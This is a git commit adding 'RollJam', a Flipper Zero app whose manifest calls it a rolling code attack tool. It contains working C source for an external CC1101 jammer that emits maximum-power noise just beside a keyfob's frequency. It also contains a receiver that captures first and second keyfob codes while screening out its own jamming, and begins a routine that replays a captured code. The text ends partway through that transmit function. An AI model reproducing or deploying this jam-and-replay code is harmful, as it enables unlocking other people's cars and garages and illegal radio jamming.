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Author SHA1 Message Date
d4rks1d33
3365fc4fed Add RollJam app 2026-03-13 23:54:26 -03:00
23 changed files with 2230 additions and 51 deletions

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App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)

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#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// ============================================================
static bool otg_was_enabled = false;
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// ============================================================
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
// ============================================================
// JAMMING APPROACH: Random OOK noise via FIFO
// ============================================================
/*
* Previous approaches and their problems:
*
* 1. FIFO random data (first attempt):
* - 100% underflow because data rate was too high
*
* 2. Broadband GDO0 toggling:
* - Self-interference with internal CC1101
*
* 3. Pure CW carrier:
* - Too weak/narrow to jam effectively
*
* NEW APPROACH: Low data rate FIFO feeding
*
* Key insight: the underflow happened because data rate was
* 115 kBaud and we couldn't feed the FIFO fast enough from
* the thread (furi_delay + SPI overhead).
*
* Solution: Use LOW data rate (~1.2 kBaud) so the FIFO
* drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms!
* That's plenty of time to refill.
*
* At 1.2 kBaud with random data, the OOK signal creates
* random on/off keying with ~833us per bit. This produces
* a modulated signal with ~1.2kHz bandwidth - enough to
* disrupt OOK receivers but narrow enough to not self-jam.
*
* Combined with the 700kHz offset, this is:
* - Visible on spectrum analyzers (modulated signal)
* - Effective at disrupting victim receivers
* - NOT interfering with our narrow 58kHz RX
*/
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
cc_idle();
// GDO0: TX FIFO threshold
cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold
cc_write(CC_IOCFG2, 0x0E); // Carrier sense
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x0E);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
return (st == MARC_IDLE);
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// ============================================================
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE");
FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)",
app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ);
FURI_LOG_I(TAG, "========================================");
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
FURI_LOG_I(TAG, "JAM: FSK mode FM238");
jam_ok = cc_configure_jam_fsk(app->jam_frequency, false);
} else if(app->mod_index == ModIndex_FM476) {
FURI_LOG_I(TAG, "JAM: FSK mode FM476");
jam_ok = cc_configure_jam_fsk(app->jam_frequency, true);
} else {
FURI_LOG_I(TAG, "JAM: OOK mode");
jam_ok = cc_configure_jam(app->jam_frequency);
}
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
return -1;
}
// Fixed pattern: alternating 0xAA/0x55 — uniform amplitude,
// detectable by rolljam_is_jammer_pattern() on the RX side
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
// Flush TX FIFO
cc_strobe(CC_SFTX);
furi_delay_ms(1);
// Pre-fill FIFO with fixed pattern
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
uint8_t txb = cc_txbytes();
FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb);
// Enter TX
cc_strobe(CC_STX);
furi_delay_ms(5);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st);
if(st != MARC_TX) {
// Retry
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(5);
st = cc_state();
FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st);
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***");
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
while(app->jam_thread_running) {
loops++;
st = cc_state();
if(st != MARC_TX) {
// Packet finished or underflow - reload and re-enter TX
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
// Refill with fixed pattern
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
// Check if FIFO needs refilling
txb = cc_txbytes();
if(txb < 20) {
// Refill what we can
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
// Log periodically
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X",
loops, underflows, refills, cc_txbytes(), cc_state());
}
// At 1.2 kBaud, 62 bytes last ~413ms
// Check every 50ms - plenty of time
furi_delay_ms(50);
}
cc_idle();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
void rolljam_ext_gpio_deinit(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + JAM_OFFSET_HZ;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_thread_running = true;
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}

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#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);

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#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
static const uint8_t preset_ook_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_fsk_rx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 50
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
// Tolerance for jammer pattern detection (microseconds)
#define JAM_PATTERN_TOLERANCE 120
static bool rolljam_is_jammer_pattern(RawSignal* s) {
if(s->size < 20) return false;
int16_t first = s->data[0];
int16_t abs_first = first > 0 ? first : -first;
int matches = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int16_t abs_val = val > 0 ? val : -val;
int diff = abs_val - abs_first;
if(diff < 0) diff = -diff;
if(diff < JAM_PATTERN_TOLERANCE) {
matches++;
}
}
return (matches > (int)(s->size * 8 / 10));
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
static volatile CapState cap_state;
static volatile int cap_valid_count;
static volatile int cap_total_count;
static volatile bool cap_target_first;
static volatile uint32_t cap_callback_count;
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(cap_state == CapDone) return;
cap_callback_count++;
RawSignal* target;
if(cap_target_first) {
target = &app->signal_first;
if(target->valid) return;
} else {
target = &app->signal_second;
if(target->valid) return;
}
uint32_t dur = duration;
// Check silence gap BEFORE clamping so 50ms gaps are detected correctly
// Clamp only affects stored sample value, not gap detection
bool is_silence = (dur > SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
}
break;
case CapRecording:
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
}
return;
}
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
furi_delay_ms(5);
// Reset state machine
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
}
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d",
good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
furi_hal_subghz_load_custom_preset(preset_ook_tx);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
// Transmit 3 times — improves reliability especially at range
